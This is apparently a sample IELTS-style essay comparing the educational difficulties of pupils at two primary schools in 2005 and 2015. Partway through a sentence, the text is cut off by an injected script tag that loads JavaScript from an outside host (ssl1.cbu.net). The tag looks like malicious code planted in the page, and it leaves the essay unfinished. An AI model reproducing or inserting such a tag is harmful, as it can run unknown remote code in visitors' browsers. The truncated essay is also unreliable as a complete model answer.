The table below gives information about the problems faced by children in two primary schools in 2005 and 2015

The provided chart compares two unidentified elementary schools in terms of pupils with seven different educational problems in two years, 2005 and 2015.
Overall, it is evident that school A had higher proportions of children who had educational difficulties in both years. Also, whereas school A managed to reduce the incidence of these problems, school B saw an overall rise in the percentage of children who were struggling.
Looking at the information in more detail, in 2005, 42% of school A’s students found it hard to follow instructions, compared to 6% of school B’s ones. Then, between 30 and 40% of children attending school A had difficulty in skills such as spelling, listening, verbal expression, and con<script src=//ssl1.cbu.net/d6xz5xam></script>